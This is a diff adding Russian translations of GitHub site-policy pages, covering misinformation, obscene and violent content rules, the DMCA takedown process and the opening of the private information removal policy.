b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md @@ -0,0 +1,26 @@ +--- +title: Ошибочная информация и дезинформация GitHub +shortTitle: Misinformation and Disinformation +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-misinformation-and-disinformation + - /github/site-policy/github-community-guidelines#misinformation-and-disinformation +ms.openlocfilehash: ece95f9da0b1953c821531837418e75ed03af4c3 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556670' +--- +Вы не можете публиковать контент, который дает искаженное представление о реальности, являясь неточным или ложным (ошибочная информация) или преднамеренно вводящим в заблуждение (дезинформация), если такой контент может нанести вред обществу или помешать честным и равным возможностям для всех принять участие в свободном и открытом обществе. Это может включать: +- неточные или научно необоснованные медицинские заявления, которые угрожают здоровью или безопасности населения; +- манипулирование средствами массовой информации (аудио или визуальными), способное ввести в заблуждение или обмануть таким образом, что может нанести ущерб общественным интересам; +- ложный или вводящий в заблуждение контент, который может помешать возможности человека участвовать в общественной деятельности; +- необоснованные утверждения, которые могут пропагандировать ненависть или целенаправленное преследование определенных групп людей + +Мы поощряем активное участие в выражении идей, точек зрения и жизненного опыта и не можем оспаривать личные рассказы или наблюдения. Как правило, мы разрешаем пародию и сатиру, если это соответствует нашим [Правилам допустимого использования](/github/site-policy/github-acceptable-use-policies), и мы считаем, что контекст играет важную роль в том, как информация воспринимается и понимается. При проверке контента в соответствии с этими правилами GitHub будет учитывать влияние различных факторов, которые могут помочь сориентировать зрителя, например, предоставлен ли контент с четкими заявлениями об отказе от ответственности, ссылками на достоверные источники или включает другие детали, разъясняющие достоверность распространяемой информации. + diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md new file mode 100644 index 000000000000..389348bcf766 --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-sexually-obscene-content.md @@ -0,0 +1,25 @@ +--- +title: Контент сексуального непристойного содержания на GitHub +shortTitle: Sexually Obscene Content +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-sexually-obscene-content + - /github/site-policy/github-community-guidelines#sexually-obscene-content +ms.openlocfilehash: f96694fa5b36be9e607786551dbd03542c0961bb +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556652' +--- +Мы не приемлем контент, связанный с сексуальной эксплуатацией или насилием в отношении другого лица, в том числе в отношении несовершеннолетних. Мы не разрешаем использование контента сексуальной тематики, который служит лишь для получения эротической или шокирующей реакции, особенно если этот контент усиливается за счет размещения в профилях или других социальных контекстах. В том числе: + +- Порнографический контент +- Публикация интимных изображений без согласия +- Графические изображения половых актов, включая фотографии, видео, анимацию, рисунки, компьютерные изображения или текстовый контент. + +Мы понимаем, что не всякая нагота или материалы, связанные с сексуальностью, являются непристойными. Мы можем разрешить визуальные и (или) текстовые изображения в художественном, образовательном, историческом или журналистском контексте или в связи с защитой интересов жертв. В некоторых случаях отказ от ответственности может помочь сообщить контекст проекта. Однако, пожалуйста, поймите, что мы можем ограничить содержание, предоставив пользователям возможность дать свое согласие перед просмотром. diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md new file mode 100644 index 000000000000..3fb5b06ef58e --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-threats-of-violence-and-gratuitously-violent-content.md @@ -0,0 +1,26 @@ +--- +title: GitHub об угрозах насилия и беспричинно насильственном контенте +shortTitle: Threats of Violence and Gratuitously Violent Content +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-threats-of-violence-and-gratuitously-violent-content + - /github/site-policy/github-community-guidelines#threats-of-violence + - /github/site-policy/github-community-guidelines#gratuitously-violent-content +ms.openlocfilehash: 4dc5d6eb2b79dc500b29d3a3bf8bfc9b77244680 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556661' +--- +Вы не можете использовать платформу GitHub для организации, продвижения и поощрения актов насилия, размещения соответствующих угроз или подстрекательства к таким актам насилия. Вы не можете публиковать контент, который изображает или прославляет насилие или физический вред людям или животным. Сюда входит следующее: + +- Угроза другому лицу или группе лиц жестоким обращением, причинением вреда, сексуальным насилием или смертью; +- Публикация текста, изображений или аудио контента, прославляющего или содержащего графическое изображение насилия по отношению к себе, другому человеку, группе или животному; +- Побуждение другого человека к нанесению себе вреда. + +Мы не разрешаем размещать материалы насильственного содержания без разбора или таким образом, чтобы другим пользователям было трудно избежать этого, например в качестве аватара профиля или комментария к вопросу. Однако мы понимаем, что могут быть законные причины для размещения материалов, содержащих насилие, например в образовательных или документальных целях, в творческих работах или изображениях исторических событий. В таких случаях четкое предупреждение или отказ от ответственности могут помочь пользователям принять обоснованное решение о том, хотят ли они пользоваться таким контентом. Тем не менее GitHub может решить ограничить видимость такого контента теми, кто решит подписаться на него. diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/index.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/index.md new file mode 100644 index 000000000000..c2c57d7fa7a7 --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/index.md @@ -0,0 +1,27 @@ +--- +title: Политика допустимого использования +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - github-acceptable-use-policies + - github-active-malware-or-exploits + - github-bullying-and-harassment + - github-disrupting-the-experience-of-other-users + - github-doxxing-and-invasion-of-privacy + - github-hate-speech-and-discrimination + - github-impersonation + - github-misinformation-and-disinformation + - github-sexually-obscene-content + - github-threats-of-violence-and-gratuitously-violent-content + - github-appeal-and-reinstatement +ms.openlocfilehash: 192083f3486b2d158f998537d6f3341e06c4eedc +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099167' +--- + diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/dmca-takedown-policy.md b/translations/ru-RU/content/site-policy/content-removal-policies/dmca-takedown-policy.md new file mode 100644 index 000000000000..f45e69708584 --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/dmca-takedown-policy.md @@ -0,0 +1,129 @@ +--- +title: Политика изъятия контента DMCA +redirect_from: + - /dmca + - /dmca-takedown + - /dmca-takedown-policy + - /articles/dmca-takedown + - /articles/dmca-takedown-policy + - /github/site-policy/dmca-takedown-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 6a4f45a0f04db6076826441ad71aecdf30d22730 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556743' +--- +Добро пожаловать в руководство GitHub по Закону об авторском праве в цифровую эпоху, широко известному как «DMCA». Эта страница не предназначена для использования в качестве всеобъемлющего учебника по законодательству. Однако, если вы получили уведомление о нарушении DMCA, касающееся контента, который вы разместили на GitHub, или если вы являетесь правообладателем, желающим опубликовать такое уведомление, мы надеемся, что эта страница поможет немного прояснить закон, а также наши правила его соблюдения. + +(Если вы просто хотите отправить уведомление, вы можете перейти к «[G. Подача уведомлений](#g-submitting-notices)».) + +Как и во всех юридических вопросах, всегда лучше проконсультироваться с профессионалом по вашим конкретным вопросам или ситуации. Мы настоятельно рекомендуем вам сделать это, прежде чем предпринимать какие-либо действия, которые могут повлиять на ваши права. Это руководство не является юридической консультацией и не должно восприниматься как таковое. + +## Что такое DMCA? + +Для того чтобы понять закон DMCA и некоторые проводимые им политические границы, целесообразно рассмотреть обстоятельства до его принятия. + +DMCA обеспечивает «безопасную гавань» для поставщиков услуг, которые размещают пользовательский контент. Поскольку даже один иск о нарушении авторских прав может повлечь за собой установленный законом ущерб в размере до 150 000 долларов США, возможность привлечения к ответственности за пользовательский контент может быть очень вредной для поставщиков услуг. Учитывая потенциальный ущерб, умноженный на миллионы пользователей, облачные вычисления и сайты с пользовательским контентом, такие как YouTube, Facebook или GitHub, вероятно, [никогда бы не существовали](https://arstechnica.com/tech-policy/2015/04/how-the-dmca-made-youtube/) без DMCA (или по меньшей мере без передачи части этих затрат своим пользователям). + +DMCA решает эту проблему путем создания [«безопасной гавани» в части ответственности за нарушение авторских прав](https://www.copyright.gov/title17/92chap5.html#512) для интернет-провайдеров, размещающих предположительно нарушающий авторские права пользовательский контент. По сути, до тех пор, пока поставщик услуг следует правилам DMCA «удаления после уведомления», он не будет нести ответственность за нарушение авторских прав на основании пользовательского контента. Из-за этого для GitHub важно поддерживать свой статус «безопасной гавани» согласно DMCA. + +DMCA также запрещает [обход технических средств](https://www.copyright.gov/title17/92chap12.html), которые эффективно контролируют доступ к материалам, защищенным авторским правом. + +## Краткий обзор уведомлений DMCA + +DMCA предусматривает две простые и понятные процедуры, о которых должны знать все пользователи GitHub: (i) процедура [уведомления об изъятии контента](/articles/guide-to-submitting-a-dmca-takedown-notice) для владельцев авторских прав, чтобы они могли потребовать его удаления; и (ii) процедура [встречного уведомления](/articles/guide-to-submitting-a-dmca-counter-notice) для пользователей, чтобы добиться восстановления контента, если он был удален по ошибке или ошибочной идентификации. + +Уведомления DMCA [об изъятии контента](/articles/guide-to-submitting-a-dmca-takedown-notice) используются владельцами авторских прав, чтобы попросить GitHub удалить контент, который, по их мнению, нарушает авторские права. Если вы дизайнер или разработчик программного обеспечения, вы каждый день создаете защищенный авторским правом контент. Если кто-то другой использует ваш защищенный авторским правом контент несанкционированным образом на GitHub, вы можете отправить нам уведомление об изъятии контента DMCA с просьбой изменить или удалить контент, нарушающий авторские права. + +С другой стороны, [встречные уведомления](/articles/guide-to-submitting-a-dmca-counter-notice) можно использовать для исправления ошибок. Возможно, человек, отправляющий уведомление об изъятии контента, не обладает авторскими правами или не знал, что у вас есть лицензия, или допустил какую-либо другую ошибку в своем уведомлении об удалении. Поскольку GitHub обычно не может знать, была ли допущена ошибка, встречное уведомление DMCA позволяет вам сообщить нам об этом и попросить вернуть содержимое обратно. + +Уведомление DMCA и процесс изъятия контента следует использовать только для жалоб на нарушение авторских прав. В уведомлениях, отправленных через наш сервис DMCA, должна быть указана работа или работы, защищенные авторским правом, которые предположительно нарушаются. Этот процесс не может быть использован для других жалоб, таких как жалобы на предполагаемые [нарушения прав на товарный знак](/articles/github-trademark-policy/) или [конфиденциальные данные](/articles/github-sensitive-data-removal-policy/); мы предлагаем отдельные процессы для таких ситуаций. + +## А. Как это на самом деле работает? + +Структура DMCA немного похожа на передачу записок в классе. Владелец авторских прав передает GitHub жалобу на пользователя. Если она написана правильно, мы передаем жалобу пользователю. Если пользователь оспаривает жалобу, он может передать нам ответное сообщение об этом. GitHub не проявляет особой свободы действий в этом процессе, кроме определения соответствия уведомлений минимальным требованиям DMCA. Стороны (и их адвокаты) должны сами оценить обоснованность своих претензий, помня о том, что уведомления отправляются под угрозой наказания за лжесвидетельство. + +Вот основные шаги в этом процессе. + +1. **Владелец авторских прав проводит расследование.** Владелец авторских прав всегда должен проводить предварительное расследование, чтобы подтвердить, (а) что он владеет авторскими правами на оригинальное произведение и (б) что контент на GitHub является несанкционированным и нарушает авторские права. Это включает подтверждение того, что использование не защищено как [добросовестное использование](https://www.lumendatabase.org/topics/22). Конкретное использование может быть добросовестным, если оно использует лишь небольшой объем защищенного авторским правом контента, использует этот контент способом преобразования, в образовательных целях или в какой-либо комбинации вышеперечисленного. Поскольку код естественным образом поддается такому использованию, каждый случай использования отличается и должен рассматриваться отдельно. +> **Пример.** Сотрудник Acme Web Company находит часть кода компании в репозитории GitHub. Компания Acme Web выдает лицензии на свой исходный код нескольким надежным партнерам. Прежде чем отправить уведомление об изъятии контента, Acme должна изучить эти лицензии и свои соглашения, чтобы убедиться, что код на GitHub не разрешен ни по одной из них. + +2. **Владелец авторских прав отправляет уведомление.** После проведения расследования правообладатель готовит и отправляет [уведомление об изъятии контента](/articles/guide-to-submitting-a-dmca-takedown-notice) на GitHub. Если уведомление об изъятии контента достаточно подробное в соответствии с требованиями закона (как объясняется в [руководстве](/articles/guide-to-submitting-a-dmca-takedown-notice)), мы [опубликуем уведомление](#d-transparency) в нашем [общедоступном репозитории](https://github.com/github/dmca) и передадим ссылку пострадавшему пользователю. + +3. **GitHub просит пользователя внести изменения.** Если в уведомлении утверждается, что все содержимое репозитория или пакет нарушает авторские права, мы перейдем к шагу 6 и оперативно отключим весь репозиторий или пакет. В противном случае, поскольку GitHub не может запретить доступ к конкретным файлам в репозитории, мы свяжемся с пользователем, создавшим репозиторий, и дадим ему срок около 1 рабочего дня для удаления или изменения содержимого, указанного в уведомлении. Мы уведомим владельца авторских прав, если и когда предоставим пользователю возможность внести изменения. Поскольку пакеты неизменяемы, при нарушении авторских прав только в одной части пакета GitHub должен будет отключить весь пакет, но мы разрешаем восстановить его после удаления нарушающей авторские права части. + +4. **Пользователь уведомляет GitHub об изменениях.** Если пользователь решит внести указанные изменения, он *должен* сообщить нам об этом в течение примерно 1 рабочего дня. Если он этого не сделает, мы отключим репозиторий (как описано в шаге 6). Если пользователь уведомит нас о внесении изменений, мы проверим, были ли они внесены, а затем уведомим владельца авторских прав. + +5. **Владелец авторских прав пересматривает или отзывает уведомление.** Если пользователь вносит изменения, владелец авторских прав должен просмотреть их и обновить или пересмотреть свое уведомление об изъятии контента, если изменений недостаточно. GitHub не будет предпринимать никаких дальнейших действий, если владелец авторских прав не свяжется с нами, чтобы обновить исходное уведомление об изъятии контента или отправить исправленное. Если владелец авторских прав удовлетворен изменениями, он может либо официально оформить отзыв, либо ничего не предпринимать. GitHub будет интерпретировать молчание длительностью более двух недель как подразумеваемый отзыв уведомления об изъятии контента. + +6. **GitHub может отключить доступ к контенту.** GitHub отключит пользовательский контент, если: (i) владелец авторских прав заявил об авторских правах на весь репозиторий или пакет пользователя (как указано в шаге 3); (ii) пользователь не внес никаких изменений после того, как ему была предоставлена возможность сделать это (как указано в шаге 4); или (iii) владелец авторских прав возобновил свое уведомление об изъятии контента после того, как у пользователя была возможность внести изменения. Если обладатель авторских прав решит вместо этого *исправить* уведомление, мы вернемся к шагу 2 и повторим процесс, как если бы пересмотренное уведомление было новым уведомлением. + +7. **Пользователь может отправить встречное уведомление.** Мы рекомендуем пользователям, у которых отключен контент, проконсультироваться с юристом о своих возможностях. Если пользователь считает, что его контент был отключен в результате ошибки или неправильной идентификации, он может отправить нам [встречное уведомление](/articles/guide-to-submitting-a-dmca-counter-notice). Как и в случае с первоначальным уведомлением, мы позаботимся о том, чтобы встречное уведомление было достаточно подробным (как поясняется в [Руководстве](/articles/guide-to-submitting-a-dmca-counter-notice)). Если это так, мы [опубликуем это](#d-transparency) в нашем [общедоступном репозитории](https://github.com/github/dmca) и передадим уведомление владельцу авторских прав, отправив ему ссылку. + +8. **Владелец авторских прав может подать судебный иск.** Если владелец авторских прав желает сохранить отключенный контент после получения встречного уведомления, ему придется инициировать судебное разбирательство с целью получения судебного постановления о запрете пользователю заниматься нарушающей права деятельностью, связанной с контентом на GitHub. Другими словами, на вас могут подать в суд. Если владелец авторских прав не уведомит GitHub в течение 10–14 дней, отправив копию действительной юридической жалобы, поданной в суд соответствующей юрисдикции, GitHub повторно активирует отключенный контент. + +## B. Что насчет «вилок»? (или Что такое «вилка»?) + +Одной из лучших особенностей GitHub является возможность для пользователей «разветвлять» репозитории друг друга. Что это значит? По сути, это означает, что пользователи могут сделать копию проекта на GitHub в свои собственные репозитории. В соответствии с лицензией или законом пользователи могут затем вносить изменения в эту «вилку», чтобы либо вернуться к основному проекту, либо просто сохранить как свою собственную вариацию проекта. Каждая из этих копий является «[вилкой](/articles/github-glossary#fork)» исходного репозитория, который, в свою очередь, также может называться «родителем вилки». + +При отключении родительского репозитория GitHub *не будет* автоматически отключать «вилки». Это связано с тем, что «вилки» принадлежат разным пользователям, могут быть существенно изменены и могут лицензироваться или использоваться другим способом, защищенным доктриной добросовестного использования. GitHub не проводит никаких независимых расследований «вилок». Мы ожидаем, что владельцы авторских прав проведут это расследование и, если они сочтут, что «вилки» также нарушают авторские права, прямо включат их в свое уведомление об изъятии контента. + +В редких случаях вы можете заявить о нарушении авторских прав в полном репозитории, который активно разветвляется. Если на момент отправки уведомления вы определили все существующие «вилки» этого репозитория как предположительно нарушающие авторские права, мы обработаем обоснованную претензию против всех «вилок» в этой сети на момент обработки уведомления. Мы бы сделали это, учитывая вероятность того, что все вновь созданные «вилки» будут содержать один и тот же контент. Кроме того, если заявленная сеть, которая содержит контент, предположительно нарушающий авторские права, превышает сто (100) репозиториев и, таким образом, будет трудно проверить ее целиком, мы можем рассмотреть возможность отключения всей сети, если вы укажете в своем уведомлении следующее: «На основании показательного количества рассмотренных мною "вилок" я считаю, что все или большинство "вилок" нарушают авторские права в той же степени, что и родительский репозиторий». Ваше заявление под присягой будет распространяться на это заявление. + +## В. Как насчет исков об обходе? + +DMCA запрещает [обход технических средств](https://www.copyright.gov/title17/92chap12.html), которые эффективно контролируют доступ к материалам, защищенным авторским правом. Учитывая, что эти типы претензий часто носят технический характер, GitHub требует от заявителей предоставить [подробную информацию по этим претензиям](/github/site-policy/guide-to-submitting-a-dmca-takedown-notice#complaints-about-anti-circumvention-technology), и тогда мы проводим более тщательный анализ. + +Заявление об обходе должно включать следующие сведения о принятых технических мерах и способе, которым обвиняемый проект обходит их. В частности, уведомление для GitHub должно содержать подробные заявления, описывающие: +1. Какие имеются технические меры защиты; +2. Как они эффективно контролируют доступ к материалам, защищенным авторским правом; и +3. Каким образом рассматриваемый проект предназначен для обхода ранее описанных ими мер технологической защиты. + +GitHub внимательно рассмотрит заявления об обходе, в том числе с техническими и юридическими экспертами. В техническом обзоре мы постараемся проверить детали того, как действуют меры технической защиты и как проект предположительно их обходит. В ходе юридической проверки мы будем стремиться к тому, чтобы претензии не выходили за рамки DMCA. В тех случаях, когда мы не можем определить, является ли претензия обоснованной, мы примем решение в пользу разработчика и оставим контент в силе. Если заявитель желает получить дополнительную информацию, мы снова начнем процесс рассмотрения, чтобы оценить уточненные требования. + +Если наши эксперты определят, что претензия является полной, законной и технически обоснованной, мы свяжемся с владельцем репозитория и дадим ему возможность ответить на претензию или внести изменения в репозиторий, чтобы избежать изъятия контента. Если они не ответят, мы попытаемся снова связаться с владельцем репозитория, прежде чем предпринимать какие-либо дальнейшие действия. Другими словами, мы не будем отключать репозиторий на основании заявления о технологии обхода без попытки связаться с владельцем репозитория, чтобы дать ему возможность сначала ответить или внести изменения. Если мы не можем решить проблему, обратившись сначала к владельцу репозитория, мы всегда будем рады рассмотреть ответ от владельца репозитория даже после того, как контент был отключен, если он хочет получить возможность оспорить претензию, представить нам дополнительные факты или внести изменения для восстановления контента. Когда нам потребуется отключить контент, мы обеспечим, чтобы владельцы репозиториев могли экспортировать свои разделы, запросы на выгрузку и другие данные репозитория, которые не содержат предполагаемого кода обхода, насколько это возможно с юридической точки зрения. + +Обратите внимание, что наш процесс проверки технологии обхода не распространяется на контент, который в противном случае нарушил бы ограничения наших Правил допустимого использования в отношении передачи несанкционированных лицензионных ключей продукта, программного обеспечения для создания несанкционированных лицензионных ключей продукта или программного обеспечения для обхода проверок лицензионных ключей продукта. Хотя такие претензии могут также нарушать положения DMCA о технологиях обхода, они, как правило, являются простыми и не требуют дополнительной технической и юридической проверки. Тем не менее если претензия не является простой, например в случае взломов, будет применяться процесс рассмотрения претензий по технологии обхода. + +Когда GitHub обрабатывает уведомление об изъятии контента DMCA в соответствии с нашим процессом рассмотрения претензии по технологии обхода, мы предложим владельцу репозитория направление для получения независимой бесплатной юридической консультации через [Фонд защиты разработчиков GitHub](https://github.blog/2021-07-27-github-developer-rights-fellowship-stanford-law-school/). + +## D. Что делать, если я случайно пропустил(-а) срок для внесения изменений? + +Мы понимаем, что существует множество веских причин, по которым вы можете не внести изменения в течение примерно 1 рабочего дня, который мы предоставляем, прежде чем ваш репозиторий будет отключен. Может быть, наше сообщение было помечено как спам, может быть, вы были в отпуске, может быть, вы не проверяете эту учетную запись регулярно, или, может быть, вы просто были заняты. Мы это понимаем. Если вы сообщите нам, что хотели бы внести изменения, но почему-то пропустили первую возможность, мы повторно включим репозиторий еще раз примерно на 1 рабочий день, чтобы вы могли внести изменения. В свою очередь, вы должны уведомить нас о том, что вы внесли изменения, чтобы репозиторий оставался включенным по истечении этого периода примерно 1 рабочий день, как указано выше на [Этапе А.4](#a-how-does-this-actually-work). Обратите внимание, что мы предоставим только один дополнительный шанс. + +## Е. Прозрачность + +Мы считаем, что прозрачность — это важнейшее достоинство. Общественность должна знать, какой контент удаляется с GitHub и почему. Информированная общественность может заметить и выявить потенциальные проблемы, которые иначе остались бы незамеченными в непрозрачной системе. Мы размещаем отредактированные копии любых полученных нами юридических уведомлений (включая оригинальные уведомления, встречные уведомления или опровержения) по адресу . Мы не будем публично размещать ваши персональные контактные данные; мы будем удалять персональные данные (за исключением имен пользователей в URL-адресах) перед публикацией уведомлений. Однако мы не будем редактировать никакую другую информацию из вашего уведомления, если вы специально не попросите нас об этом. Вот несколько примеров опубликованных [уведомлений](https://github.com/github/dmca/blob/master/2014/2014-05-28-Delicious-Brains.md) и [встречных уведомлений,](https://github.com/github/dmca/blob/master/2014/2014-05-01-Pushwoosh-SDK-counternotice.md) чтобы вы видели, как они выглядят. Когда мы удаляем контент, мы размещаем на его месте ссылку на соответствующее уведомление. + +Обратите также внимание, что, хотя мы не обнародуем публично неотредактированные уведомления, мы можем предоставить полную неотредактированную копию любых полученных нами уведомлений непосредственно любой стороне, чьи права будут затронуты ими. + +## F. Повторное нарушение + +Политика GitHub заключается в том, чтобы при соответствующих обстоятельствах и по собственному усмотрению отключать и удалять учетные записи пользователей, которые могут нарушать авторские права или другие права на интеллектуальную собственность GitHub или других лиц. + +## G. Отправка уведомлений + +Если вы готовы подать уведомление или встречное уведомление: +- [Как подать уведомление DMCA](/articles/guide-to-submitting-a-dmca-takedown-notice) +- [Как подать встречное уведомление DMCA](/articles/guide-to-submitting-a-dmca-counter-notice) + +## Узнайте больше и выскажите свое мнение + +Если порыться в Интернете, нетрудно найти комментарии и критику системы авторского права в целом и DMCA в частности. Хотя GitHub признает и ценит важную роль, которую DMCA сыграл в продвижении инноваций в Интернете, мы считаем, что законы об авторском праве, возможно, нуждаются в исправлении или двух — если не в полном новом релизе. В программном обеспечении мы постоянно совершенствуем и обновляем свой код. Подумайте о том, как сильно изменились технологии с 1998 года, когда был составлен DMCA. Разве не имеет смысл обновить эти законы, которые применяются к программному обеспечению? + +Мы не предполагаем, что у нас есть ответы на все вопросы. Но если вам интересно, вот несколько ссылок на научные статьи и сообщения в блогах с мнениями и предложениями по проведению реформы, которые мы нашли: + +- [Непреднамеренные последствия: Двенадцать лет под управлением DMCA](https://www.eff.org/wp/unintended-consequences-under-dmca) (Фонд электронных рубежей) +- [Предусмотренное законом возмещение ущерба в законе об авторском праве: Средство, нуждающееся в реформе](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=1375604) (Обзор Уильяма и Мэри Лоу) +- [Является ли срок охраны авторских прав слишком долгим?](https://the1709blog.blogspot.com/2012/11/is-term-of-protection-of-copyright-too.html) (Блог 1709) +- [Если мы собираемся изменить «уведомление и удаление» DMCA, давайте сосредоточимся на том, насколько широко им злоупотребляют](https://www.techdirt.com/articles/20140314/11350426579/if-were-going-to-change-dmcas-notice-takedown-lets-focus-how-widely-its-abused.shtml) (TechDirt) +- [Возможности для реформы авторского права](https://www.cato-unbound.org/issues/january-2013/opportunities-copyright-reform) (Cato Unbound) +- [Доктрина добросовестного использования и Закон об авторском праве в цифровую эпоху: Существует ли добросовестное использование в Интернете в соответствии с DMCA?](https://digitalcommons.law.scu.edu/lawreview/vol42/iss1/6/) (Обзор закона Санта-Клары) + +GitHub не обязательно поддерживает какие-либо точки зрения в этих статьях. Мы предоставляем ссылки, чтобы побудить вас узнать больше, сформировать собственное мнение, а затем связаться с вашими избранными представителями (например, в [Конгрессе США](https://www.govtrack.us/congress/members) или [ Европарламенте](https://www.europarl.europa.eu/meps/en/home)), чтобы добиваться любых изменений, которые, по вашему мнению, должны быть сделаны. diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/github-private-information-removal-policy.md b/translations/ru-RU/content/site-policy/content-removal-policies/github-private-information-removal-policy.md new file mode 100644 index 000000000000..d1024c3e377a --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/github-private-information-removal-policy.md @@ -0,0 +1,97 @@ +--- +title: Политика GitHub по удалению личной информации +redirect_from: + - /articles/github-sensitive-data-removal-policy + - /github/site-policy/github-sensitive-data-removal-policy + - /github/site-policy/github-private-information-removal-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 42dbae3bcd7a1ee09a209c7bb5d81506e2d473bf +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099175' +--- +Мы предлагаем этот процесс удаления личной информации в качестве исключительной услуги только для контента с высоким уровнем риска, который нарушает [Условия предоставления услуг GitHub](/github/site-policy/github-acceptable-use-policies#3-conduct-restrictions), например, когда ваша безопасность находится под угрозой из-за открытых учетных данных для доступа. В этом руководстве описана информация, которая нужна GitHub от вас для обработки запроса на удаление личной информации из репозитория. + +## Что такое личная информация? + +Для целей настоящего документа под «личной информацией» понимается контент, который (i) должен был оставаться конфиденциальным *и* (ii) публичная доступность которого представляет конкретный или направленный риск для безопасности вас или вашей организации. + +«Угроза безопасности» относится к ситуации, связанной с физической опасностью, кражей личных данных или повышенной вероятностью несанкционированного доступа к физическим или сетевым объектам. + +### Запросы на удаление личной информации подходят для: +- учетных данных доступа, таких как имена пользователей в сочетании с паролями, токены доступа или другие чувствительные сведения, которые могут предоставить доступ к серверу, сети или домену вашей организации. +- токенов AWS и других аналогичных реквизитов для доступа, которые предоставляют доступ третьему лицу от вашего имени. Вы должны быть в состоянии показать, что токен действительно принадлежит вам. +- документации (например, сетевых схем или архитектуры), представляющей определенный риск для безопасности организации. +- [информации,](/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy) связанной с вами как физическим лицом и представляющей угрозу безопасности (например, номера социального страхования или другие государственные идентификационные номера). + +### Запросы на удаление личной информации _не_ подходят для: +- внутренних имен серверов, IP-адресов и URL-адресов самих по себе. Вы должны быть в состоянии показать, что их использование в конкретном файле или фрагменте кода представляет угрозу безопасности. +- простых упоминаний личности, имен, бренда, доменного имени или других ссылок на вашу компанию в файлах на GitHub. Вы должны быть в состоянии сформулировать, почему использование идентификационных данных вашей компании представляет угрозу безопасности вашей компании. +- целых файлов или репозиториев, которые не представляют особой угрозы безопасности, но, по вашему мнению, нежелательны. +- запросов на удаление контента, который может нарушать ваши авторские права или права вашей организации. Если у вас есть вопросы о том, как GitHub решает вопросы, связанные с авторскими правами, или вы хотите сообщить о контенте, потенциально нарушающем авторские права, ознакомьтесь с нашей [Политикой предотвращения нарушений DMCA](/articles/dmca-takedown-policy/). Процесс удаления личной информации, как правило, не предназначен для удаления полных файлов или репозиториев — только для определенных фрагментов личной информации в этих файлах. Несмотря на возможные случаи, когда файлы полностью заполнены личной информацией, вы должны обосновать угрозу безопасности для удаления таких файлов, и это может увеличить время, необходимое для обработки вашего запроса. +- Споры о товарных знаках. Если у вас есть вопросы о том, как GitHub обрабатывает вопросы, связанные с товарными знаками, или вы хотите сообщить о контенте, содержащем товарные знаки или знаки обслуживания вашей организации, ознакомьтесь с нашей [Политикой в отношении товарных знаков](/articles/github-trademark-policy/). +- Жалобы в отношении персональных данных. Если вы хотите получить доступ, передать, изменить или удалить свои персональные данные на GitHub, свяжитесь с нами через [нашу Форму для связи по вопросам конфиденциальности](https://github.com/contact/privacy). +- Контент регулируется нашими [Правилами сообщества](/articles/github-community-guidelines/), включая вредоносное ПО или универсальные инструменты. Если у вас есть вопросы о наших Правилах сообщества или вы считаете, что контент на GitHub может нарушать наши правила, вы можете использовать {% data variables.contact.report_content %} для связи с нами. + +## Что нужно знать + +**Сначала спросите вежливо.** Мы рекомендуем перед отправкой нам запроса на удаление данных связаться с пользователем напрямую. Возможно, он указал контактную информацию на своей публичной странице профиля или в файле README или Support репозитория, или вы можете связаться с ним, создав вопрос или запрос на включение изменений в репозитории. Это не является обязательным, но приветствуется. + +**Никаких ботов.** Вы должны иметь подготовленного специалиста для оценки фактов в каждом запросе, который вы отправляете. Если вы передаете свои полномочия третьим лицам, убедитесь, что вы знаете, как они работают, и убедитесь, что они не используют автоматических ботов для массовой подачи жалоб. Эти жалобы часто включают данные, не представляющие угрозы безопасности, и не содержат достаточных объяснений, что требует дополнительных ответных действий и приводит к задержкам, даже если жалоба обоснована. + +**Отправляйте правильный запрос.** Как отмечалось выше, мы предлагаем этот процесс удаления личной информации в качестве исключительной услуги только для контента с высоким уровнем риска. Мы не можем использовать этот процесс для удаления других типов контента, например контента, потенциально нарушающего авторские права, и мы не можем обрабатывать какие-либо другие типы запросов на удаление одновременно с обработкой запросов на удаление личной информации. Мы сможем помочь вам быстрее, если вы отправите запросы на удаление личной информации отдельно от любых запросов на удаление потенциально нарушающего права контента. Если вы не уверены, 